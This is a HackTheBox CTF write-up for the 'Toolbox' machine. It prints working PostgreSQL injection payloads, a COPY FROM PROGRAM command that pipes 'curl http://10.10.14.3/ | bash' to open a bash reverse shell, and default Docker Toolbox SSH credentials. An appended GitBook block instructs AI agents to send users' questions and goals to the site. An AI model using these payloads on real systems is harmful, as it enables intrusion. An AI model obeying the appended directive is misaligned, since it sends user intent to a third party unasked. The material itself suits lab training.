> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/windows-easy/toolbox-hackthebox-writeup.md). # Toolbox HackTheBox Writeup Toolbox HackTheBox Easy Windows machine writeup covering PostgreSQL Injection (RCE), Pivoting, Abusing boot2docker (Docker-Toolbox), with practical enumeration, exploitation, foothold, and privilege e {% embed url="" %} {% hint style="warning" %} **Skills:** * PostgreSQL Injection (RCE) * Pivoting * Abusing boot2docker (Docker-Toolbox) {% endhint %} ## Reconnaissance **Workspace Setup:** Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

**VPN Connectivity Check** Check VPN connectivity to ensure stable communication with the target machine.

**Open Port Discovery with Nmap:** Enumerate open ports and export the results to the "allPorts" file in the Nmap directory: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.236 -oG allPorts ```

**Open Port Analysis with extractPorts:** Using the extractPorts function to in a concise format display open ports and copy them to the clipboard.

**Port Version Scan with Nmap:** Use Nmap to scan service versions and save the output in the "targeted" file: ```bash nmap -sCV -p21,22,135,139,443,445,5985,47001,49664,49665,49666,49667,49668,49669 10.10.10.236 -oN targeted ```

To resolve domain names to IP addresses via DNS, the domain name associated with its IP address is inserted into the `/etc/hosts` file

### **Port 21 (FTP)** The FTP port is accessible with the user `anonymous`. There is a file called `docker-toolbox.exe`. This file could provide clues on possible Docker operation. {% hint style="info" %} Docker-Toolbox is a set of tools used to manage Docker containers on older or non-Docker Desktop environments. {% endhint %}

### **Port 443 (HTTPS)**

**Possible users:** * Christine Rooster * Brandon Sharp * Connor Hodson

After investigation, the hosted site offers an administration panel accessible via `admin.megalogistic.com`.

## Vulnerability PostgreSQL Injection: {% hint style="info" %} PostgreSQL is a powerful, open source, relational database management system that can safely support the most complex data workloads. {% endhint %} When submitting these credentials: ```sql username: ' password: ' ``` A SQL error appears, indicating a PostgreSQL backend using `pg_query`.

### **Exploitation** Test a classic injection payload: ```vbnet username: ' OR 1=1-- - password: anything ``` We get access to the Dashboard admin panel.

Intercept queries with **Burp Suite** and use resources like **HackTricks** to adjust injections.

{% embed url="" %} #### To test if the injection allows the execution of commands, use: `;select pg_sleep(10);-- -` If the response delays 10 seconds, the injection is usable.

### **Order execution** Here is an example of how to get an online order: ```sql DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'id'; SELECT * FROM cmd_exec; DROP TABLE IF EXISTS cmd_exec; ``` Create a `index.html` file containing: ```bash #!/bin/bash bash -i >& /dev/tcp/10.10.14.3/443 0>&1 ``` Run an HTTP server: ```bash python3 -m http.server 80 ``` Configure a listener: ```bash nc -nvlp 443 ``` Envoyez le payload : ```sql username=';DROP TABLE IF EXISTS cmd_exec;-- -&password=d username=';CREATE TABLE cmd_exec(cmd_output text);-- -&password=d username=';COPY cmd_exec FROM PROGRAM 'curl http://10.10.14.3/ | bash';-- -&password=d ```

#### **Terminal Stabilization** To make the shell interactive and comfortable: ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` #### Stabilize the shell for more comfortable work. ## Privilege raising: ### Pivoting Docker {% hint style="info" %} During the recognition phase, we identified that our Windows machine was not directly accessible. However, we were able to connect to a Windows machine contained in a Docker container, with the IP address `172.17.0.2` and the `172.17.0.1` gateway. We will now try to rotate via this container to climb our privileges. {% endhint %}

### **SSH port verification** First, we need to check whether the SSH (22) port is open on the Docker gateway (172.17.0.1). We use a simple order for this: ```bash echo ' ' > /dev/tcp/172.17.0.1/22 && echo "[+] SSH Open" || echo "[-] SSH Closed" ``` Port 22 is open, which means we can try a SSH connection to the machine in the container.

#### **Log in with the default Docker Toolbox credentials** The default IDs for Docker Toolbox are: * **User**: `docker` * **Password**: `tcuser` We now try to connect to the container via SSH using this information. Once connected to the machine, we notice that we have access to the root of the container with user `docker`.

#### **Exploration of the file system** In the root directory we find a folder named **c**, which contains a subfolder **users**. Inside **users** there is a **Desktop** folder belonging to the user **Administrator**. This may mean that the user `docker` has sufficient privileges to access sensitive data from the user **Administrator**, which is a good track for increasing privileges.

### Flag user.txt :) #### **Search `user.txt` (user flag)** We will now look for the `user.txt` file, which is often used to mark a user's successful access to a machine. Let's use the following command to search for this file throughout the file system: ```bash find / -name user.txt 2>/dev/null ```

We locate the **user.txt** file in an accessible directory, which gives us a first sign of success in our operation. ### Flag root.txt :) Once the user flag is found, we look for the **root.txt** file, which is usually located in the user directory **Administrator**.

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/windows-easy/toolbox-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.